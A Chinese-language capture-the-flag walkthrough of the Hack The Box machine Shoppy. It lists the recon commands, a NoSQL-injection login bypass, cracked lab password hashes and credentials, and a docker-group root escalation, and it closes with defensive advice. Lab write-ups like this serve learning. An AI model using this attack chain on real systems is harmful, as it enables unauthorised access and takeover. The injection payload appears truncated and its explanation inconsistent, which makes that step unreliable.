hackthebox靶机Shoppy
字数 1274 2025-08-11 17:40:29
HTB靶机Shoppy渗透测试完整指南
1. 靶机概述
Shoppy是Hack The Box平台上的一个中等难度靶机,涉及Web应用安全、NoSQL注入、子域名枚举、密码破解和Docker提权等技术点。本指南将详细记录从信息收集到最终提权的完整渗透测试过程。
2. 信息收集阶段
2.1 初始扫描
使用Nmap进行端口扫描:
nmap -sS -Pn -sC -sV 10.10.11.180
扫描结果:
- 22/tcp - OpenSSH 8.4p1 Debian 5+deb11u1
- 80/tcp - nginx 1.23.1 (重定向到shoppy.htb)
2.2 主机文件配置
将目标IP与域名绑定:
echo "10.10.11.180 shoppy.htb" | sudo tee -a /etc/hosts
3. Web应用渗透
3.1 目录扫描
使用feroxbuster进行目录枚举:
feroxbuster -u http://shoppy.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -C 302,301,404
发现关键端点:
- /Login
- /login
3.2 子域名枚举
使用gobuster进行子域名扫描:
gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
发现子域名:
- mattermost.shoppy.htb
添加到hosts文件:
echo "10.10.11.180 mattermost.shoppy.htb" | sudo tee -a /etc/hosts
3.3 NoSQL注入攻击
在登录页面发现NoSQL注入漏洞,构造以下payload绕过认证:
- 用户名输入:
admin' - 密码留空或任意值
这会导致后端查询变为:
this.username === 'admin' && this.password === 'value'
成功绕过认证后,在搜索框输入admin可获取用户凭证哈希:
{
"_id": "62db0e93d6d6a999a66ee67a",
"username": "admin",
"password": "23c6877d9e2b564ef8b32c3a23de27b2"
}
继续使用NoSQL注入获取更多用户:
{
"_id": "62db0e93d6d6a999a66ee67b",
"username": "josh",
"password": "6ebcea65320589ca4f2f1ce039975995"
}
3.4 密码破解
使用在线工具或hashcat破解MD5哈希:
23c6877d9e2b564ef8b32c3a23de27b2→ 未破解6ebcea65320589ca4f2f1ce039975995→ "remembermethisway"
4. 横向移动
4.1 访问Mattermost聊天系统
使用凭证josh/remembermethisway登录mattermost.shoppy.htb,在聊天记录中发现另一组凭证:
username: jaeger
password: Sh0ppyBest@pp!
4.2 SSH访问
使用获取的凭证通过SSH登录:
ssh jaeger@10.10.11.180
成功获取user.txt标志。
5. 权限提升
5.1 检查sudo权限
sudo -l
发现deploy用户可以运行:
/home/deploy/password-manager
5.2 分析密码管理器
运行密码管理器并输入"Sample"作为密码提示:
/home/deploy/password-manager
获取deploy用户凭证:
username: deploy
password: Deploying@pp!
5.3 Docker提权
- 切换到deploy用户:
su deploy
- 检查用户组:
groups
确认deploy用户在docker组中
- 查看已有Docker镜像:
docker images
- 使用Alpine Linux镜像挂载主机root目录:
docker run -it -v /root:/mnt alpine
- 在容器内访问挂载的root目录获取flag:
cat /mnt/root.txt
6. 技术要点总结
- NoSQL注入:通过构造特殊查询绕过认证
- 子域名枚举:发现隐藏的服务入口点
- 凭证复用:在不同服务间尝试相同或相似的凭证
- Docker组提权:利用docker组权限挂载敏感目录
7. 防御建议
- 对用户输入进行严格过滤,防止NoSQL注入
- 避免在聊天系统中泄露敏感信息
- 限制docker组用户,避免不必要的权限分配
- 对密码管理器等敏感工具实施更严格的访问控制
- 定期审计系统权限和用户组成员资格
通过以上步骤,我们完成了从外部侦察到最终获取root权限的完整渗透测试流程,展示了多个常见漏洞的利用链。